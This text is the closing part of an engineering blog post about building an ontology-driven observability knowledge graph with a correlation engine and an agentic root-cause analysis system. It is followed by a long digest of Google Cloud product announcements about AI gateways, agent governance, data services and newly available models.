	every URI follows a single naming scheme, and
	the catalog gates every ops:Application.

Two operational choices are worth naming here, as well. The enrichment pipeline runs sequentially — load the graph, add triples, and save.
This sequencing removes an entire category of race conditions at a cost in wall-clock time we are happy to pay. And calls out to external systems like metrics, logs, events and the rest could be best-effort, so a slow downstream API doesn’t block the graph harvest, albeit some degradation. To that end, we are also working to translate these separate systems into the ontology, such as the Metrics Ontology and the Alerts Ontology, so everything could be queried from the Ontology itself.
The Correlation Engine: finding the correlation chains
The correlation engine assimilates the vast number of signals from diverse input sources and condenses them into causal or correlatory chains of events. Today, the engine reads thirteen signal types, including log errors, metric anomalies, slow and failed traces, alerts, incidents, deployments, config changes, experiments, autoscaling, commits, end-to-end bottlenecks, and error patterns. It then searches for paths among them. Some ordered pairs are known to be causal and carry a high prior weight. For example, deployment before log error, config change before metric anomaly, failed trace before incident, and so on. Others, which show high correlation are considered correlation chains. Such chains are scored on temporal proximity and severity, inside a ten-minute window, with anything under 0.6 confidence getting discarded.
The Correlation EngineThe role of the engine here is to propose with evidence, not to make conclusions. Hence, the engine stores its chains along with the graph records that were used to create them.
A 0.87 chain in the above example, is a strong hypothesis for a human or an agent to check, and the graph records the confidence alongside the claim so that consumers can understand why a chain is what it is and weigh their options to make decisions.
The knowledge flywheel
Each harvest cycle turns the same four steps, and each rotation leaves the graph richer for the next. This is the Knowledge Flywheel, leading to continuous enrichment and improvement of the context about our system, stored in the knowledge graph.
The Knowledge FlywheelObserve collects the signals. Enrich adds typed triples. Infer finds patterns invisible in the raw data. Adapt feeds knowledge back, so that established patterns become detection rules. The compounding result of the four phases leads to a self-improving system. A causal chain discovered in one incident becomes a known pattern for the next, and the ontology gradually stops being a schema and starts being a memory.
Consider the example above. When we first see an incident in api-gateway caused due to a timeout and resolve it, we convert this knowledge into entries to the ontology. This becomes encoded knowledge. As we go through multiple cycles of this encoding, the graph starts learning patterns. After N cycles, patterns become wisdom — “api-gateway deploys cause 40% of SEV-2s” and “30% of deployment issues in api-gateway come from Connection Timeouts”. Surface this as an insight and we proactively start reducing incidents, not just react quickly to new ones.
Putting the graph to work
On top of the graph sits AutoRCA, our internal agentic AI solution, built with a set of specialist agents coordinated around one question. Walking the home page regression from the top of this post, the agentic system’s reasoning chain might look something like this:
Each specialization to the inputs is built by people who understand their respective domain deeply. That division of labour only works if the specialists can pass findings to one another without having to agree on the terms of communication or even have knowledge of each other. The ontology acts as the interface. Each specialist learns one vocabulary — the graph’s. A team writing specialized use cases for how they use traces record their findings as triples about an ops:Application, the logs specialization reads triples about that same ops:Application, and neither needs to know the other exists. A new specialist learns the same vocabulary once and can immediately read everything the other six have written.
Set against the investigation we opened with, the change is narrower than it might sound. The alert still fires at 3:30pm, an engineer still has to weigh the evidence, and the fix still has to be written by someone who understands the code. The hour or two that used to go into assembling context — finding the owning team, reconstructing what shipped, correlating information from different parts of the system, recalling that something similar happened last quarter — all that work is the part the ontology and the graph absorbs. We are early enough that the ranked hypotheses are sometimes wrong, which is why each one carries the evidence that produced it. But when the engineer now starts the investigation, they are already holding the picture that used to take half an afternoon to assemble.
If you want to build one of these
A fair amount of what we have built, we learned by getting it wrong first. Based on this experience, these are the principles we would carry into a second attempt.
	Model identity before anything else. Choose one authoritative catalog per entity kind and validate against it before creating an entity.
	Treat the ontology as code. Version it, review it, test it, and let changes arrive as pull requests. Treating the ontology as code lends itself to agentic development and lets teams scale and contribute to it.
	Separate concepts from instances. Concepts change on a human timescale and instances change continuously, conflating them makes both harder to evolve.
	Build on open standards. RDF, OWL, SHACL and SPARQL are specified, implemented many times over, and portable. A bespoke graph model ties a future consumer to one implementation.
	Constrain stochastic tools with a type system. This is the principle we would defend hardest. Models are useful precisely where determinism is impossible, and a sufficiently narrow output contract converts their output into something a query engine can trust.
	Make enrichment best-effort and ordered. A slow dependency should utmost degrade the graph, never block it. And ordering enrichers so each builds on the last buys more accuracy and that’s worth the tradeoff with parallelism that buys speed.
	Model human reasoning alongside machine telemetry. The most valuable edges in our graph came from discussion. Telemetry records what the system did, discussion records what people understood and interpreted. The reasoning is more valuable to store and serve as wisdom when we need it.
	Keep humans as the approvers. Let agents propose fixes, enrichers, and ontology changes, and route every proposal through a review process with humans in the loop.

What comes next
The graph makes three things possible. First, automatic root cause analysis, where a regression arrives with a ranked set of graph-backed hypotheses attached. Next, automated remediation, where a sufficiently confident diagnosis carries a proposed action like a targeted rollback, a traffic shift, a code change. And eventually infrastructure that heals itself, acting on a predicted failure before members feel it.
Alongside this, we plan to integrate the Observability Ontology with Upper, the domain-modeling language at the heart of Netflix’s Unified Data Architecture (UDA). Upper lets teams describe business and system domains as interconnected, machine-readable models and preserve their meaning and constraints as those models are projected into concrete schemas and systems. This integration would connect operational concepts such as applications, alerts, deployments, and incidents to the broader set of domains modeled across Netflix, giving engineers and agents a shared semantic layer for querying, validation, and reasoning. We will begin with a proof of concept that models incidents in Upper and use what we learn to determine where the two systems should converge.
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Ontology-Driven Observability: Building an End-to-End Knowledge Graph at Netflix Scale was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.
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What’s new with Google Cloud

Google Cloud · Oct 16, 4:00 PM UTC

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. 

Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud blog 101: Full list of topics, links, and resources.

Oct 12 - Oct 16

	AI tokenomics in action: Enforcing tiered token budgets with Apigee
Scaling artificial intelligence across an enterprise requires clear token governance to keep LLM spend predictable across departments. Join Tarun Abraham on Thursday, November 5, 2026 for a Community TechTalk on AI tokenomics. Discover how to use Apigee to enforce isolated, tiered token budgets and model access for each team—such as assigning Engineering a dedicated budget for Gemini Pro while covering mixed usage for Marketing—without changing application code. Attendees will also gain access to a sample codebase featuring a reusable Shared Flow.Register for the November 5 Community TechTalk



Sept 28 - Oct 2

	
Claude Sonnet 5.5 is now available on Google Cloud. Built for focused coding and knowledge work, it delivers stronger performance for feature development, and creating presentation-ready documents, while offering more intelligence with  a lower cost per task for most work at faster speed.

Deploy Sonnet 5.5 directly from Model Garden with Google Cloud’s enterprise security, scale, and governance built in. Try it now.


	Mastering Storage Management with Storage Intelligence
In our new blog, explore practical strategies to modernize storage operations using Storage Intelligence Advisor and enhanced Batch Operations. See how customers like Shipt and Palo Alto Networks are using these features to manage their estates at scale. Today, Storage Intelligence is used by 25 of the top 50 GCS customers. 2 in 3 customers have Storage Intelligence enabled for over 90% of their storage footprint.Explore best practices on our blog

	Cut Gen AI costs by 70% with Apigee X dynamic routing
Generative AI deployments face a harsh cost-performance trade-off: static model selection either wastes budget or compromises quality. Discover how to build an Intelligent AI Gateway using Apigee X to dynamically evaluate prompt complexity in real-time. This new blueprint automatically routes simple queries to lightweight models (like Gemini 3.5 Flash Lite) and complex reasoning tasks to advanced models (like Gemini 3.7 Flash), achieving over 70% cost savings without sacrificing output quality. Read the guide to optimize your Gen AI architecture

	AI Agent Clinic launches new hands-on session on production agent evaluations
A new episode of the AI Agent Clinic is now available showing organizations how to move past manual "vibe checks" to build robust, production-grade agent evaluations. In this hands-on session, Google Cloud engineer Dani Zamora and Matthew Feroz (Merge) take DocsHound, an open-source LangGraph agent, and build an end-to-end eval pipeline in under an hour. Learn how to standardize multi-turn traces across any framework using OpenTelemetry and OpenInference, pair LLM judges with deterministic checkers, and catch silent quality regressions before shipping. Watch here

	Drive AI impact: Join Google's Agentic Data Cloud event on Nov 4
Every enterprise plans to adopt agentic AI within two years, but data bottlenecks hold them back—AI accesses just 45% of enterprise data today (MIT, 2026). Google's Agentic Data Cloud provides the trustworthy foundation and real-time context AI needs. Join our product leaders November 4th to explore the latest innovations across databases, analytics, business intelligence, and storage, and get direct answers in our executive Q&A with Google Data Cloud VP & GM Andi Gutmans. Register today!



Sept 21 - Sept 25

	Master MCP tool authorization and agent governance with Apigee
While the Model Context Protocol (MCP) solves interoperability for autonomous AI agents, chained actions like CRM edits or database queries quickly expose systems to unauthorized execution. Join our technical deep dive on Thursday, October 1, 2026, at 5:00 PM CEST featuring Christophe from Google Cloud. Learn how positioning Apigee between MCP clients and enterprise backends enables fine-grained authorization (FGA), complete audit trails, and policy evaluation via emerging standards like OpenID AuthZEN.Language and accessibility note: This session will be hosted in French, but non-French speakers can follow along seamlessly by turning on Google Meet live translated captions to read in English, Spanish, German, Portuguese, or Italian.
Register for the October 1 Community TechTalk

	Apigee Trace Viewer Tutorial: Capturing & Analyzing Proxy Traces
Streamlining API proxy debugging just got easier with a new tutorial by Apigee Customer Engineer Tyler Ayers. The guide covers end-to-end instructions for capturing debug traces in both Google Cloud Apigee X (or Hybrid) and the local Apigee Emulator, extracting trace JSON data via the web UI or automated REST APIs, and analyzing execution flows, variable mutations, and latency bottlenecks using the open source Apigee Trace Viewer. Read the Apigee Trace Viewer guide today.

	Automate Apigee proxy testing locally
Catching errors early saves time and money. A new tutorial by Apigee customer engineer Tyler Ayers shows how to use the Apigee Local Emulator for automated testing. Learn to run tests locally, integrate them into CI/CD pipelines, and deploy on Google Cloud Run for shared sandboxes. This approach provides instant feedback and zero cloud costs, helping teams speed up deployment cycles.Read the tutorial

	Scale your enterprise multi-agent systems with Apigee
Deploying multi-agent architectures in production introduces critical hurdles around security, operational control, and runtime expenses. Discover how Apigee API Hub provides a central discovery surface to eliminate agent sprawl across tools, Model Context Protocol (MCP) servers, and enterprise APIs. Learn how to turn existing backend services into secure MCP tools using Agent Gateway guardrails, while applying semantic caching and intelligent model routing to keep compounding token costs predictable.Join Google Cloud in Chicago in Oct.15 for The AI Evolution. Reserve your seat for Chicago



	Automate Apigee proxy testing with the Apigee Local Emulator
Waiting on remote deployments to validate API proxy logic slows down release cycles and increases infrastructure overhead. Join Nigel Walters on Thursday, October 8, 2026, at 5:00 PM CEST for a Community TechTalk on shift-left testing for Apigee. Discover how to use the Apigee Local Emulator and apigee-emulator-service to run sub-second assertion suites on local machines, automate CI/CD checks in GitHub Actions, and deploy ephemeral preview sandboxes on Google Cloud Run.Register for the October 8 Community TechTalk

	Now in Public Preview: AI-assisted EKS-to-GKE migrations with deterministic guardrails
Migrating complex Kubernetes estates from AWS EKS to GKE is traditionally high-friction and error-prone. Now in Public Preview, GKE Agentic Migration is an open-source agent plugin that replaces ad-hoc LLM prompting with an AI-assisted migration workflow protected by deterministic guardrails.Running locally in your development harness, it indexes source IaC, maps cloud-specific primitives (such as Karpenter to Custom Compute Classes), and validates configurations offline—delivering reviewable pull requests and data-migration runbooks with zero live cluster mutations.
Learn more in the announcement blog and try the plugin on GitHub.

	Claude Opus 5.5 is now available on Google Cloud. Built for everyday complex tasks, it delivers stronger agentic coding, research, and analysis while handling long-running work at a lower cost per token. Google Cloud continues to provide enterprise customers with broad model choice to build, deploy, and scale their AI agents securely. Try it here.

	Import Delta Lake tables with Dataflow Job Builder!
Migrating to borderless Lakehouse just got a lot easier. You can now import Delta Lake tables stored in Cloud Storage using Dataflow Job Builder, a no-code/low-code interface for authoring Dataflow pipelines. Because Dataflow is a fully managed service, you are spared the overhead of provisioning and managing virtual machines. For step-by-step guidance, check out the documentation here.


Sept 14 - Sept 18

	Storage Intelligence Advisor for Google Cloud Storage is now GA
Google Cloud Storage customers can now manage cloud storage more effectively with Storage Intelligence Advisor, delivering curated metrics, automated anomaly detection, and actionable recommendations right out of the box, with zero setup required.Advisor baselines activity across your projects and automatically detects four key anomalies: surges in operations, unexpected rises in cross-region egress, and spikes in errors. Each finding includes deep drill-down visibility into the resources driving the change, alongside prescriptive steps to remediate issues before they impact performance or cost.
Learn more to get started with Storage Intelligence Advisor.

	Build private WebSockets from Apigee X to Cloud Run
Real-time AI agents and streaming architectures often require persistent, bidirectional connections. A new implementation guide by Apigee Customer Engineer Joel Gauci demonstrates how to establish private southbound connectivity between Apigee X and Cloud Run. Using Private Service Connect (PSC) and a Regional Internal Application Load Balancer, teams can enforce API governance and security policies at the edge while keeping backend services completely isolated from the public internet.Explore the step-by-step guide and open-source code

	Connecting Gemini Enterprise Agent Runtime to Apigee with Private Service Connect 
Deploying autonomous AI agents often presents security, compliance, and cost challenges. A new reference guide details how to build an end-to-end, private architecture between Gemini Enterprise Agent Runtime and Apigee. This design helps protect internal backends and manage token quotas. Read the full community guide and deploy the code

	Discover what’s new and next in Apigee
As enterprise architectures adapt to generative AI and autonomous workflows, Apigee is expanding its proven platform capabilities to support modern AI gateway use cases alongside traditional API management. Join our session on Thursday, September 24, featuring Apigee Product Manager Geir Sjurseth. Get an inside look at recent product releases, explore architectural patterns for securing models and agents, and bring your questions for the live Q&A.Register for the September 24 Apigee product update

	Managed Service for Apache Kafka supports clusters with public Internet access!
With Managed Kafka public clusters, you can now produce and consume messages from clients outside your VPC—including your local machine, for faster, frictionless testing. Public clusters unlock use cases like IoT devices, retail storefronts, and telco network towers. Enable public access on new or existing clusters via the Google Cloud console, gcloud CLI, or REST API. Spin up your first public cluster, or reach out to kafka-hotline@google.com with questions.
	Stream data directly into Bigtable using Bigtable subscriptions, now in Preview!
You can write Pub/Sub messages to a Bigtable table with zero ETL with Bigtable subscriptions. No pipelines, no code, delivered by the serverless, zero-ops experience you already know with Pub/Sub. Power your AI workloads, from model telemetry to real-time context engineering, without the overhead of managing complicated ETL pipelines. Built to be dependable, with native support for dead-letter topics. Try the feature today!


Sept 7 - Sept 10

	Why Your Voice Agent Needs Session Auditing
Moving voice agents to production demands robust quality monitoring. This guide dives deep into the inner workings of the Agent Development Kit (ADK) responsible for audio session auditing. Learn how the ADK's save_live_blob feature intercepts, buffers, and stores raw audio chunks during active Gemini Live sessions. We explore building an automated post-processing pipeline to seamlessly stitch these fragments into cohesive, playable audio files. Discover how to leverage these vital audio audit trails to monitor real-world interactions, diagnose failures, and ensure enterprise-grade reliability. Read the full guide here.
	AlloyDB Omni Red Hat RPM Orchestrator now Generally Available
AlloyDB Omni Red Hat RPM orchestrator is now Generally Available. The AlloyDB Omni Red Hat RPM orchestrator offers a new way to manage PostgreSQL-compatible workloads on bare metal or VM platforms, combining the high performance of AlloyDB, access to generative AI features and Gemini models to build AI agents and applications, and full automation. The orchestrator simplifies cluster provisioning and lifecycle management by allowing you to define reference architecture specifications, customizable by adjusting instance parameters, node configurations, and networking options — discover all details in full blog post.


Aug 31 - Sept 4

	Automate VM guest software lifecycle with VM Extension Manager, now GA
Google Cloud VM Extension Manager is now generally available, eliminating the need for custom startup scripts to manage guest OS extensions across Compute Engine fleets. Define declarative, project-wide policies that enforce desired software states across all regions and zones. Benefit from continuous drift detection with automatic self-healing, multi-zone phased rollouts with automated rollbacks on failure, and centralized fleet health visibility integrated with Cloud Monitoring.Explore VM Extension Manager documentation

	Assess Apigee migrations without a target environment
Planning a migration to Apigee X or Hybrid? You can now assess your legacy Apigee Edge SaaS or OPDK environment earlier in your planning cycle. Using the updated --skip-target-validation flag in the Apigee Migration Assessment Tool, teams can generate a full inventory and establish scope baselines before target infrastructure or IAM credentials are provisioned.Read the guide to learn more.

	
Claude Fable 5.1 is now available on Agent Platform. It brings performance improvements over Fable 5 across reasoning, full-lifecycle coding, multi-tool workflows, and knowledge work.

Anthropic also announced Enterprise Frontier Safeguards, a solution that gives customers the option to safely deploy Anthropic’s most capable models while storing their data in cloud infrastructure they control.

We continue to offer enterprise customers options across frontier models to build, deploy, and scale securely on Google Cloud.




Aug 24 - Aug 28

	Grok 4.6 is now available in Preview on Gemini Enterprise. xAI's most capable model, built for coding, agentic tasks, and knowledge work, Grok 4.6 joins Grok 4.3 and Grok 4.20 in Model Garden and becomes the flagship of the Grok family. It supports reasoning, function calling, and structured output for multi-step agentic workflows, and accepts text and image input.Get started today

	Empowering autonomous agents with advanced security governance
AI agents offer incredible productivity gains, but granting them access to read emails, query databases, and trigger APIs introduces critical new security risks. In fact, 79% of tech leaders cite security and governance as their biggest challenge to scaling AI. Traditional tools are no longer enough to handle automated threats like prompt injection and dynamic permissions. Discover how forward-thinking enterprises are using secure-by-default design, agent identity governance, and human-in-the-loop controls to deploy agents with confidence.Read more

	Stateful processing is available in BigQuery continuous queries in Preview
Stateful operations significantly expand what’s possible with BigQuery continuous queries. This feature allows users to leverage functions like JOINs, aggregations, and windowing functions directly in their streaming queries. Now you can calculate metrics over time (for example, a 30-minute average) to power your downstream applications and AI agents with much richer, real-time signals.
	Try out our feature here and share your feedback with bq-continuous-queries-feedback@google.com!
	Synthetic data generator tool is available for Managed Service for Kafka
You’ve launched your first Kafka cluster. Now what? The next thing to do is to produce some data to the cluster, but that involves modifying a client application somewhere or spinning up a virtual machine. The synthetic data generator tool, now generally available, can start sending mock data to your cluster in 3 clicks, and will get data streaming into your cluster in less than two minutes. The perfect utility for those moments you just want to test your cluster and new features. Try our quickstart today!
	Dataflow pipeline updates are faster & more flexible
Dataflow pipeline updates can now stop-and-replace pipelines, a major addition to the existing in-place-update feature. The new parallel pipeline option accelerates the migration between the old & new pipeline, resulting in reduced disruption to your business. You can also set a timeout on drains that prevents runaway costs for your pipeliness in the event of stuck processing. This feature is generally available. Try it here!


Aug 17 - Aug 21

	Webinar: Agent Identity as the backbone for secure AI innovation
An AI agent with a stolen API key looks identical to a legitimate one. As autonomous agents scale across enterprise systems, static credentials and legacy IAM policies can no longer keep up with machine-speed execution. Join Shaun Liu, Product Manager at Google Cloud, on August 27 at 1 PM ET to explore Google Cloud’s vision for unifying agent, human, and nonhuman identity into a workload-centric platform using verifiable cryptographic identities (SPIFFE, ID-JAG, OAuth).Register for the webinar now



Aug 10 - Aug 14

	Diagnosing Apigee Hybrid Cassandra Read Latency for Peak Performance
Diagnose real-time Cassandra read latency and resolve API key verification bottlenecks in Apigee Hybrid with this step-by-step troubleshooting guide. Learn how to deploy a debugging client and query performance tables to maintain sub-millisecond response times. Read the Apigee Hybrid Cassandra Troubleshooting Guide

	Keep moving with agents! The All Things Agentic Hackathon is officially live.
We're challenging builders to build next-generation agents that take on the busy work and handle the heavy lifting in the background using Gemini 3.5 and Google Cloud. Compete for your share of $190,000 in prizes, cash, and Google Cloud credits! Submissions are open from August 3, 2026, to August 31, 2026.Learn more and register. Sign up for GEAR to get exclusive updates and your badge. #AllThingsAgenticHackathon

	Accelerate PostgreSQL migrations using Gemini in Database Migration Service
Enterprise database migrations often stall during the "last mile" of translating legacy stored procedures, triggers, and custom functions from Oracle or SQL Server. Database Migration Service (DMS) now provides AI-assisted code conversion powered by Gemini in Databases. By combining deterministic compiler rules for 1:1 syntax with Gemini contextual synthesis for complex procedural blocks, DMS converts legacy code into native PostgreSQL and AlloyDB with full schema awareness and side-by-side validation.Read the full blog post to learn how to streamline your database code conversion.

	Compute Flex CUDs now available for G2 and G4 GPU VMs
Compute Flexible Committed Use Discounts (Flex CUDs) are now available for G2 (NVIDIA L4) and G4 (NVIDIA RTX Pro 6000) VMs. You can now lock in predictable savings while retaining the flexibility to adapt across VM families, migrate between regions, and combine general-purpose compute, GKE, Cloud Run, and G2 & G4 GPU VMs under a single spend commitment. Flex CUDs for G-series VMs let you lock in savings today while preserving the agility to upgrade to latest hardware without disruption!Explore VM instance pricing or learn more about Flex CUDs.

	Rapid Bucket accelerates the training and checkpoint performance in PyTorch Ecosystem via GCSFS
With the release of GCSFS 2026.8.0, organisations can now unlock maximum ROI from their AI/ML infrastructure by eliminating data starvation on GPUs in PyTorch ecosystem when they are using Frameworks like Dask, Pandas, PyTorch , PyTorch Lightning, Hugging Face Datasets, Ray dataetc. By making adaptive concurrent prefetching the default, GCSFS dynamically predicts and background-fetches sequential read patterns—boosting single-file throughput by 5x, and scaling up to 21 GiB/s , saturating the NIC when paired with Rapid Bucket. Saturating the NIC translates to significantly improved accelerator goodput and reduced training wait times with zero integration friction. Training and checkpoint restore workflows benefit from intelligent memory management that automatically drains the buffer during random reads to completely avoid bandwidth or memory penalties.


Aug 3 - Aug 7

	Navigate data sovereignty and AI innovation with hybrid cloud
For enterprises facing strict compliance rules, keeping sensitive data on-premises often means missing out on cutting-edge AI. Data from the 2026 State of AI Infrastructure report reveals that 52% of IT leaders are adopting hybrid cloud strategies to bridge this gap. Our latest blog post explores how Google Distributed Cloud (GDC) helps organizations deploy connected or air-gapped models to run advanced AI entirely within secure environments—mitigating geopolitical risks without sacrificing innovation. Read more.
	SAP and Google Cloud Launch BDC Connect for BigQuery
For years, enterprises have struggled with the cost, risk, and complexity of moving mission-critical SAP data into advanced analytics platforms. The general availability of SAP Business Data Cloud (BDC) Connect for BigQuery marks a turning point. By introducing revolutionary zero-copy, bi-directional data sharing, this new capability seamlessly bridges SAP systems with Google Cloud's powerful data and AI ecosystem. Instead of wrestling with manual data duplication and lost business context, organizations can now eliminate silos, dramatically lower their analytics costs, and rapidly deploy trustworthy, agentic AI solutions grounded in real-time operational reality. Read the full announcement to learn how to transform your data strategy.
	Google Cloud Cortex Framework version 7 is now generally available!
This release helps you modernize your data architecture for AI agent readiness, enabling you to quickly deploy, customize, and extend robust data products while simplifying orchestration and reducing infrastructure overhead. It provides data product accelerators for SAP-sourced data to build trusted, high-quality data products ready for advanced analytics and agentic use cases. The Framework integrates with Google Cloud products including BigQuery, Dataform, Knowledge Catalog, and Gemini Enterprise Agent Platform. Learn more in our announcement blog, technical documentation, or try a demo deployment today. 
	From API Management to AI Gateway with Apigee
Massive LLM adoption unlocked automation but exposed critical vulnerabilities, from unpredictable token costs to security risks like prompt injection. Without central management, organizations face accelerated technical debt. Learn how to transform Apigee into an enterprise AI Gateway to centralize governance. This architectural roadmap details how to utilize semantic cache to optimize token costs, implement prompt protection policies for security, and productize tools using the emerging MCP standard.Read the full architectural roadmap on the Apigee Community Hub

	Centrally govern enterprise AI traffic with Apigee AI Gateway
Manage, track, and secure model communication across your entire infrastructure from a single pane of glass. In a new video walkthrough, Principal Architect Tyler Ayers demonstrates how Apigee AI Gateway simplifies agentic governance. Learn how to transparently proxy model traffic, log real-time token counts, and apply runtime security quotas without impacting your developer workflow.Watch the Apigee AI Gateway demo

	Maximize Provisioned Throughput Utilization
Sudden traffic micro-spikes can exceed per-second quotas, triggering 429 errors or forcing overflow into shared resource pools. A new architectural guide demonstrates how to build a serverless "shock absorber" using Cloud Run and Google Cloud Tasks. By decoupling request ingestion from execution, this queue-based pattern flattens volatile traffic bursts and smoothly drips requests to Gemini at your exact quota rate, maximizing Provisioned Throughput utilization while eliminating job failures during peak usage. Read the step-by-step setup guide.
	Eliminate security blindspots in agentic tool interactions
Unmonitored agentic tool calls via the Model Context Protocol (MCP) can introduce critical security risks to your enterprise architecture. Join our technical deep dive on Thursday, August 13, to discover how to position Apigee as a centralized security gateway. Featuring the new ParsePayload policy and payload operations groups in API Products, this session demonstrates how to enforce granular tool filtering, manage execution quotas, and scale secure agent ecosystems without impeding developer velocity. Register for the August 13 Community TechTalk



Jul 27 - Jul 31

	Data Cloud and Apigee CDMX: The AI Agent Evolution | August 12, 2026
Enterprise AI demands evolution beyond basic conversational assistants. To generate real value, AI models must connect with the organization's core systems and live data sources. Join us this August 12 at Google CDMX for the exclusive event AI Evolution: Powering Tomorrow's Enterprise. Learn how to design an agile and secure ecosystem by unifying the power of Gemini, Apigee, and data agent technologies through practical demonstrations led by Google Cloud engineers.Secure your spot for the in-person session in Mexico City Register now!

	Vast Edge, built on GCP, launches the first live recovery interface for cloud backups, enabling IT teams to inspect backup contents in real time. This transforms backups from a blind, log-based process into an interactive platform where teams can instantly search, preview, and validate the exact data available for restore.This platform protects Google Workspace, NetSuite, Salesforce, Workday and many SaaS environments, providing complete visibility and enterprise-grade oversight.
Visit Vast Edge Backup & Disaster Recovery and get a free trial of their backup solutions on the GCP Marketplace for Google Workspace Backup, NetSuite Backup, Salesforce Backup, and Workday Backup.



Jul 20 - Jul 24

	Claude Opus 5, Anthropic’s latest model, is now available on Agent Platform. It brings performance improvements over Opus 4.8 across coding, long-running agents, and knowledge work.The model is Zero Data Retention (ZDR) compatible. For safety, high-risk workflows — such as penetration testing or exploit generation — it will notify you and fall back to Opus 4.8.We’re excited to continue to offer enterprise customers options across frontier models to build, deploy, and scale AI securely. Try it here. 
	Apigee Northam Roadshow 2026 | The AI Agent Evolution: Powering Tomorrow's Enterprise
AI is evolving. As your organization deploys autonomous agents, the integration between APIs and models becomes critical. Join Google Cloud specialists for an exclusive day of deep-dive sessions and live demos. Discover how the unified power of Apigee and the Google Cloud Agent Platform allows you to build, govern, and scale high-performance AI agents with complete control.  Call to Action: Register for Sunnyvale | Register for NYC | Register for Chicago
	Deploy an Apigee Proxy for MCP Registry Discovery  
Learn how to deploy an Apigee X proxy to format Apigee API Hub data into the Model Context Protocol (MCP) Registry format. This tutorial by Tyler Ayers guides developers through cloning the sample repository, deploying using the Apigee Feature Templater (aft), and testing the endpoint to make API data easily discoverable by coding agents. Read the full community tutorial to get started.

	Simplify AI Infrastructure: Getting Started with Apigee AI Gateway
Managing a complex AI landscape with multiple backend environments can present significant operational and governance challenges. A new tutorial walks you through how to build a unified API proxy using Apigee AI Gateway. By establishing a single, secure entry point for all model traffic, teams gain access to real-time analytics, comprehensive tracing, and financial operations auditing—completely seamlessly, and with absolutely no modifications required to client environments or user configurations. Read the step-by-step setup guide

	Your AI agents are ready. Is your data?
The biggest bottleneck to scaling AI isn't the models—it's giving them access to business context. As enterprises move to proactive systems of action, legacy infrastructure often buckles under the nonlinear speed of AI agents. Google Cloud’s new Agentic Data Cloud, built on AI-native infrastructure, solves this by unifying data, AI models, and operational databases. Discover how a borderless Lakehouse and active Knowledge Catalog can empower your AI agents with trusted, real-time context without unnecessary engineering overhead. Read more.
	Secure and govern your AI at Apigee AI Horizon in London
Moving AI from basic prompts to complex agentic workflows requires trust and control. Join us on Tuesday, 1st September 2026 at Google London for our 5th edition of Apigee AI Horizon. Discover how Google Cloud product leaders and architects are using Apigee and Model Armor to secure LLM APIs, implement policy controls, and manage token consumption. Do not miss this one—register soon!Secure your spot for AI Horizon London



Jul 13 - Jul 17

	Resource-Based CUD Sharing is Now Enabled by Default
Starting June 16, 2026, the default setting for Google Cloud Resource-based Committed Use Discount (CUD) sharing will change from disabled to enabled for new billing accounts and eligible existing accounts without active CUDs. This update automatically maximizes your savings by pooling underutilized discounts across your resources.You retain full control and can adjust your CUD sharing preferences at any time by changing your CUD scope configuration. For instructions, see Enable CUD sharing or Disable CUD sharing.

	Webinar for India: Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale
API traffic surges and AI model integration are reshaping the EdTech landscape. Join Satyam Maloo for the webinar Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale on July 23, 2026. Learn to implement advanced rate limiting, gain granular token visibility, and leverage real-time analytics to govern your platform effectively. Whether you’re scaling for peak academic seasons or integrating complex AI workflows, this session provides the infrastructure blueprint you need.Register Now

	Scaling AI Agents: Treat prompts like software artifacts
As AI agents move into production, monolithic system prompts often result in configuration drift, merge conflicts, and silent runtime failures. The solution is adopting a Prompts-as-Code architecture. By breaking prompts into modular skill files and using a build-time transpiler, engineering teams can introduce dependency resolution, static validation, and CI/CD rigor to their agent's control plane. Stop manually editing massive text files and start building deterministic, reliable agent infrastructure.Read more here.



Jul 6 - Jul 10

	Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks
Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.Register for the webinar now

	Safely run AI-generated code in Cloud Run sandboxes
Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly within your existing Cloud Run service instances.Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.
Read the blog to learn more and get started today.

	Australia API Horizon: Scaling Enterprise Governed AI Agents
The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.
Join us in your preferred city:

	Sydney: July 28, 2026, at Google Sydney, One Darling Island.
	Canberra: July 29, 2026, at Hotel Realm.
	Melbourne: August 4, 2026, at Google Melbourne.



	Build highly available, multi-region services on Cloud Run
Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.Learn how to configure service health for Cloud Run.

	Report: 83% of organizations need infrastructure upgrades for agentic AI
The shift from conversational bots to autonomous agents is breaking legacy systems. Our new State of AI Infrastructure report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.Explore our key infrastructure insights

	Stop tinkering, start scaling: the industrialized AI Playbook
Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&L-impacting enterprise ROI.
Read the full article on Medium

	AI Agent Clinic: Slashing App Latency by 80%
